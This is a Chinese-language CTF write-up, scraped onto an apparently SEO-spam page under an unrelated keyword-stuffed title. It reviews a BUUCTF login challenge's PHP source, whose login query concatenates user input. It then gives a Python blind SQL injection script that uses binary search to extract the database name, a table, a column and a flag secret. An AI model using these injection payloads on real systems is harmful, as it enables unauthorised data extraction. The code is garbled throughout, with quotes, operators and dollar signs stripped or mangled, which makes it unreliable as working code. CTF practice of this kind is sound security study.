zencart 网站老是跳转到原地址网站建设业务员的工作总结及计划
- 作者: 五速梦信息网
- 时间: 2026年03月21日 10:00
当前位置: 首页 > news >正文
zencart 网站老是跳转到原地址,网站建设业务员的工作总结及计划,wordpress采集前端发文,网站进入进入靶场 和2次注入的页面很像
不过养成查看源代码的好习惯 先访问source.zip
下载后解压#xff0c;发现两个文件 第一个文件夹打开又有4个PHP文件 那还是先看index.php文件好了
有PHP和HTML两部分#xff0c;下面是PHP部分代码#xff08;HTML太长了#xff0c;先放一…
进入靶场 和2次注入的页面很像
不过养成查看源代码的好习惯 先访问source.zip
下载后解压发现两个文件 第一个文件夹打开又有4个PHP文件 那还是先看index.php文件好了
有PHP和HTML两部分下面是PHP部分代码HTML太长了先放一放
?php
// 启动会话
session_start();// 对 \(_SESSION 中的每个元素进行过滤处理
foreach (\)_SESSION as \(key \)value): \(_SESSION[\)key] filter(\(value); endforeach;
// 对 \)_GET 中的每个元素进行过滤处理
foreach (\(_GET as \)key \(value): \)_GET[\(key] filter(\)value); endforeach;
// 对 \(_POST 中的每个元素进行过滤处理
foreach (\)_POST as \(key \)value): \(_POST[\)key] filter(\(value); endforeach;
// 对 \)_REQUEST 中的每个元素进行过滤处理
foreach (\(_REQUEST as \)key \(value): \)_REQUEST[\(key] filter(\)value); endforeach;// 定义过滤函数
function filter(\(value)
{// 如果值不是字符串终止脚本并输出 Hacking attempt!!is_string(\)value) AND die(Hacking attempt!);// 使用 addslashes 函数对字符串进行转义防止 SQL 注入return addslashes(\(value);
}// 如果满足以下条件包含 templates/register.php 文件
isset(\)_GET[p]) AND \(_GET[p] register AND \)_SERVER[REQUEST_METHOD] POST AND isset(\(_POST[username]) AND isset(\)_POST[password]) AND include(templates/register.php);
// 如果满足以下条件包含 templates/login.php 文件
isset(\(_GET[p]) AND \)_GET[p] login AND \(_SERVER[REQUEST_METHOD] GET AND isset(\)_GET[username]) AND isset(\(_GET[password]) AND include(templates/login.php);
// 如果满足以下条件包含 templates/home.php 文件
isset(\)_GET[p]) AND \(_GET[p] home AND include(templates/home.php);
?
对通过SESSION、GET、POST、REQUEST方法获取到的每个元素进行过滤处理对字符串进行转义来防止SQL注入
看另外4个
db.php
?php\)servername \(_ENV[DB_HOST];
\)username \(_ENV[DB_USER];
\)password \(_ENV[DB_PASSWORD];
\)dbname \(_ENV[DB_NAME];\)con new mysqli(\(servername, \)username, \(password, \)dbname);?
?php
// 从环境变量中获取数据库的主机地址
\(servername \)_ENV[DB_HOST];
// 从环境变量中获取用于连接数据库的用户名
\(username \)_ENV[DB_USER];
// 从环境变量中获取连接数据库的密码
\(password \)_ENV[DB_PASSWORD];
// 从环境变量中获取要连接的数据库的名称
\(dbname \)_ENV[DB_NAME];// 使用 mysqli 类创建一个新的数据库连接对象将前面获取的主机地址、用户名、密码和数据库名称作为参数
\(con new mysqli(\)servername, \(username, \)password, \(dbname);
? home.php
!DOCTYPE html
html langen
head!-- 定义文档字符编码为 utf-8 --meta charsetutf-8!-- 告知搜索引擎不要索引此页面 --meta namerobots contentnoindextitlehome/title!-- 设置视口以实现响应式布局 --meta nameviewport contentwidthdevice-width, initial-scale1!-- 引入 Bootstrap 的 CSS 样式表 --link href//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/css/bootstrap-combined.min.css relstylesheetidbootstrap-cssstyle typetext/css/style!-- 引入 jQuery 库 --script src//code.jquery.com/jquery-1.10.2.min.js/script!-- 引入 Bootstrap 的 JavaScript 库 --script src//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/js/bootstrap.min.js/script
/head
body
div classcontainer?php// 包含数据库连接文件 db.phpinclude db.php;// 判断是否设置了 \)_SESSION[username]if (isset(\(_SESSION[username])):// 如果设置了 \)_SESSION[username]显示一个警告信息die(div classalert alert-warning idmsg-verify rolealertstrongHope this site is secure! I did my best to protect against some attacks. New sections will be available soon./strong/div);else:// 如果未设置 \(_SESSION[username]进行页面刷新跳转到?plogindie(meta http-equivrefresh content0; url?plogin /);endif;?
/div
/body
/html
login.php
?php!isset(\)_SESSION) AND die(Direct access on this script is not allowed!);
include db.php;\(sql SELECT username,password FROM ptbctf.ptbctf where username . \)_GET[username] . and password . md5(\(_GET[password]) . ;;
\)result \(con-query(\)sql);function auth(\(user)
{\)_SESSION[username] \(user;return True;
}(\)result-num_rows 0 AND \(row \)result-fetch_assoc() AND \(con-close() AND auth(\)row[username]) AND die(meta http-equivrefresh content0; url?phome /)) OR (\(con-close() AND die(Try again!));?
?php
// 检查 \)_SESSION 是否未被设置如果未设置则终止脚本并输出错误信息防止直接访问该脚本
!isset(\(_SESSION) AND die(Direct access on this script is not allowed!);
// 包含 db.php 文件可能包含数据库连接等相关代码
include db.php;// 构建 SQL 查询语句从 ptbctf.ptbctf 表中查询用户名为 \)_GET[username] 且密码为 \(_GET[password] 的 MD5 加密值的用户信息
\)sql SELECT username,password FROM ptbctf.ptbctf where username. \(_GET[username]. and password. md5(\)_GET[password]). ;;
// 执行 SQL 查询
\(result \)con-query(\(sql);// 定义 auth 函数用于将用户信息存储在 \)_SESSION 中并返回 True
function auth(\(user)
{\)_SESSION[username] \(user;return True;
}// 以下是逻辑判断
// 如果查询结果行数大于 0并且可以获取查询结果的一行数据并且关闭数据库连接并且调用 auth 函数存储用户信息并且重定向到?phome 页面则执行成功
// 否则关闭数据库连接并输出 Try again!
(\)result-num_rows 0 AND \(row \)result-fetch_assoc() AND \(con-close() AND auth(\)row[username]) AND die(meta http-equivrefresh content0; url?phome /)) OR (\(con-close() AND die(Try again!));
?
redister.php
?php!isset(\)_SESSION) AND die(Direct access on this script is not allowed!);
include db.php;(preg_match(/(a|d|m|i|n)/, strtolower(\(_POST[username])) OR strlen(\)_POST[username]) 6 OR strlen(\(_POST[username]) 10 OR !ctype_alnum(\)_POST[username])) AND \(con-close() AND die(Not allowed!);\)sql INSERT INTO ptbctf.ptbctf (username, password) VALUES ( . \(_POST[username] . , . md5(\)_POST[password]) . );
(\(con-query(\)sql) TRUE AND \(con-close() AND die(The user was created successfully!)) OR (\)con-close() AND die(Error!));?
?php
// 检查 \(_SESSION 是否未被设置如果未设置则终止脚本并输出错误信息防止直接访问该脚本
!isset(\)_SESSION) AND die(Direct access on this script is not allowed!);
// 包含 db.php 文件可能包含数据库连接等相关代码
include db.php;// 以下是对 \(_POST[username] 的验证
// 检查用户名是否包含字母 a、d、m、i、n 中的任何一个不区分大小写
// 或者用户名长度小于 6
// 或者用户名长度大于 10
// 或者用户名不是字母数字组合
// 如果满足上述任何一个条件则关闭数据库连接并输出 Not allowed!
(preg_match(/(a|d|m|i|n)/, strtolower(\)_POST[username])) OR strlen(\(_POST[username]) 6 OR strlen(\)_POST[username]) 10 OR!ctype_alnum(\(_POST[username])) AND \)con-close() AND die(Not allowed!);// 构建 SQL 插入语句将用户输入的用户名和密码密码进行 MD5 加密插入到 ptbctf.ptbctf 表中
\(sql INSERT INTO ptbctf.ptbctf (username, password) VALUES (. \)_POST[username]. ,. md5(\(_POST[password]). );
// 执行 SQL 插入操作如果插入成功则关闭数据库连接并输出 The user was created successfully!否则关闭数据库连接并输出 Error!
(\)con-query(\(sql) TRUE AND \)con-close() AND die(The user was created successfully!)) OR ($con-close() AND die(Error!));
?
根据代码信息绕过过滤机制
运行以下python脚本
import requests
import timeurl http://b9b081b9-90ad-4343-93d0-98dbc62e66d2.node5.buuoj.cn:81/templates/login.phpfiles {file: 123456789}# 字段值
flag
for i in range(1, 100):low 32high 127mid (low high) // 2while low high:time.sleep(0.06)payload_flag {username: ftest\ or (ascii(substr((select group_concat(secret) from flag_tbl ),{i},1)){mid}) #,password: test}r requests.post(urlurl, paramspayload_flag, filesfiles, data{PHP_SESSION_UPLOAD_PROGRESS: 123456789},cookies{PHPSESSID: test1})if meta http-equivrefresh content0; url?phome / in r.text:low mid 1else:high midmid (low high) // 2if mid 32 or mid 127:breakflag chr(mid)print(flag)print(flag)# 列名
column
for i in range(1, 100):low 32high 127mid (low high) // 2while low high:time.sleep(0.06)payload_column {username: ftest\ or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_nameflag_tbl ),{i},1)){mid}) #,password: test}r requests.post(urlurl, paramspayload_column, filesfiles, data{PHP_SESSION_UPLOAD_PROGRESS: 123456789},cookies{PHP_SESSION_UPLOAD_PROGRESS: test1})if meta http-equivrefresh content0; url?phome / in r.text:low mid 1else:high midmid (low high) // 2if mid 32 or mid 127:breakcolumn chr(mid)print(column)print(column)# 表名
table
for i in range(1, 100):low 32high 127mid (low high) // 2while low high:time.sleep(0.06)payload_table {username: ftest or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemaptbctf),{i},1)){mid}) #,password: test}r requests.post(urlurl, paramspayload_table, filesfiles, data{PHP_SESSION_UPLOAD_PROGRESS: 123456789},cookies{PHP_SESSION_UPLOAD_PROGRESS: test1})if meta http-equivrefresh content0; url?phome / in r.text:low mid 1else:high midmid (low high) // 2if mid 32 or mid 127:breaktable chr(mid)print(table)print(table)# 数据库名
database
for i in range(1, 100):low 32high 127mid (low high) // 2while low high:time.sleep(0.06)payload_database {username: ftest\ or (ascii(substr((select database()),{i},1)){mid}) #,password: test}r requests.post(urlurl, paramspayload_database, filesfiles, data{PHP_SESSION_UPLOAD_PROGRESS: 123456789},cookies{PHP_SESSION_UPLOAD_PROGRESS: test1})if meta http-equivrefresh content0; url?phome / in r.text:low mid 1else:high midmid (low high) // 2if mid 32 or mid 127:breakdatabase chr(mid)print(database)
- 上一篇: yy头像在线制作网站网页界面设计教案
- 下一篇: 阿坝州做网站公司wordpress替换dede
相关文章
-
yy头像在线制作网站网页界面设计教案
yy头像在线制作网站网页界面设计教案
- 技术栈
- 2026年03月21日
-
yandex网站推广怎么利用互联网平台赚钱
yandex网站推广怎么利用互联网平台赚钱
- 技术栈
- 2026年03月21日
-
xx网站开发建设方案域名备案 填写网站信息
xx网站开发建设方案域名备案 填写网站信息
- 技术栈
- 2026年03月21日
-
阿坝州做网站公司wordpress替换dede
阿坝州做网站公司wordpress替换dede
- 技术栈
- 2026年03月21日
-
阿迪网站建设规划书产品单页设计图片
阿迪网站建设规划书产品单页设计图片
- 技术栈
- 2026年03月21日
-
阿凡达网站建设小白学做搭建网站
阿凡达网站建设小白学做搭建网站
- 技术栈
- 2026年03月21日






